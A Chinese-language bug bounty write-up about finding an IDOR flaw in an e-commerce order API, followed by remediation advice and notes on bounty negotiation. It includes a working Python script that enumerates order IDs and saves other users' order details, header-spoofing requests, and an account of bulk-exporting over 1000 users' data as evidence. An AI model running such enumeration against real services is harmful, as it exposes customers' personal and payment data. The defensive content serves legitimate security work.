从一次真实的越权漏洞赏金说起:我是如何绕过鉴权逻辑,拿到四位数的奖金(技术复盘)
那天凌晨三点,Burp Suite的拦截记录里突然跳出一条异常响应——我的自定义请求头竟然返回了其他用户的完整订单数据。这个意外发现最终让我在HackerOne上收获了$1500的漏洞赏金。本文将完整还原这次水平越权漏洞的挖掘过程,包括思维路径、工具链配合和关键的绕过技巧。
1. 目标侦察与可疑功能定位
目标是一个采用微服务架构的电商平台,前端基于Vue.js,后端API使用Spring Boot构建。在常规侦察中,我重点关注了以下几个功能模块:
- 用户中心(含订单历史、个人信息)
- 商品评价系统
- 优惠券管理接口
使用Burp的Target工具分析站点地图时,发现一个有趣的API端点:
GET /api/v3/orders/{orderId}/detail响应中包含敏感字段:
{ "user_id": "5f8d3b7a9c1d2e4f", "credit_card_last4": "6789", "shipping_address": "..." }关键疑点:请求中仅需携带基础JWT令牌,但未发现任何与orderId所属用户校验的逻辑。这为后续测试埋下了伏笔。
2. 漏洞验证与利用链构建
2.1 初步测试方案
首先收集自己的正常订单数据:
- 下单生成测试订单(ID:
10021) - 抓取正常请求:
GET /api/v3/orders/10021/detail HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
修改orderId为相邻数字10022重放请求,服务器返回了其他用户的完整订单详情。这证实了水平越权漏洞的存在。
2.2 自动化漏洞利用
编写Python脚本批量检测漏洞范围:
import requests headers = {"Authorization": "Bearer eyJhbGci..."} base_url = "https://target.com/api/v3/orders/" for order_id in range(10021, 10121): resp = requests.get(f"{base_url}{order_id}/detail", headers=headers) if resp.status_code == 200: print(f"[+] Leaked order: {order_id}") with open(f"leak_{order_id}.json", "w") as f: f.write(resp.text)风险控制:脚本添加了速率限制(每秒1请求),避免触发WAF防护。
3. 深度绕过与权限提升
3.1 绕过基础防护
平台更新后增加了简单的校验逻辑:
- 检查请求头
X-Requested-With: XMLHttpRequest - 验证
Origin头匹配主域名
通过以下方式绕过:
GET /api/v3/orders/10025/detail HTTP/1.1 Origin: https://target.com X-Requested-With: XMLHttpRequest Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...3.2 垂直越权尝试
发现管理员接口:
POST /api/v3/admin/coupons虽然普通用户JWT无法直接访问,但通过删除/admin路径段实现路径穿越:
POST /api/v3/coupons HTTP/1.1 ...服务器错误返回了403 Forbidden,但暴露了内部服务名称coupon-service-v2,为后续SSRF攻击提供了线索。
4. 防御方案与修复建议
4.1 服务端修复方案
建议企业采用的防御措施:
| 防护层级 | 具体措施 | 实施示例 |
|---|---|---|
| 数据层 | 增加属主校验 | WHERE user_id = ? AND order_id = ? |
| 业务层 | 权限上下文注入 | @PreAuthorize("#userId == principal.id") |
| 传输层 | 敏感字段脱敏 | 返回数据移除credit_card_last4字段 |
4.2 开发注意事项
永远不要信任客户端传参:
// 错误示范 Order order = orderRepository.findById(orderId); // 正确做法 Order order = orderRepository.findByUserIdAndOrderId( currentUserId, orderId);采用权限框架: Spring Security的权限注解:
@GetMapping("/orders/{orderId}") @PreAuthorize("@orderService.isOwner(#orderId, principal.id)") public Order getOrder(@PathVariable String orderId) { ... }
5. 漏洞提交与赏金谈判
在漏洞报告中重点突出了:
- 影响范围:可遍历所有用户订单(约120万活跃用户)
- 风险等级:CVSS 8.6(High)
- 复现步骤:包含完整HTTP请求/响应示例
企业最初试图以"中危漏洞"分类,通过提供以下证据成功提升评级:
- 演示批量导出1000+用户数据的过程
- 展示如何组合其他漏洞实现支付欺诈
- 提供同行业同类漏洞的赏金参考($2000-$5000范围)
最终在三次沟通后达成$1500的合理补偿。这个案例给我的启示是:漏洞挖掘不仅是技术活,更需要清晰的表达能力。有时候一个精心制作的PoC视频,比十页技术文档更有说服力。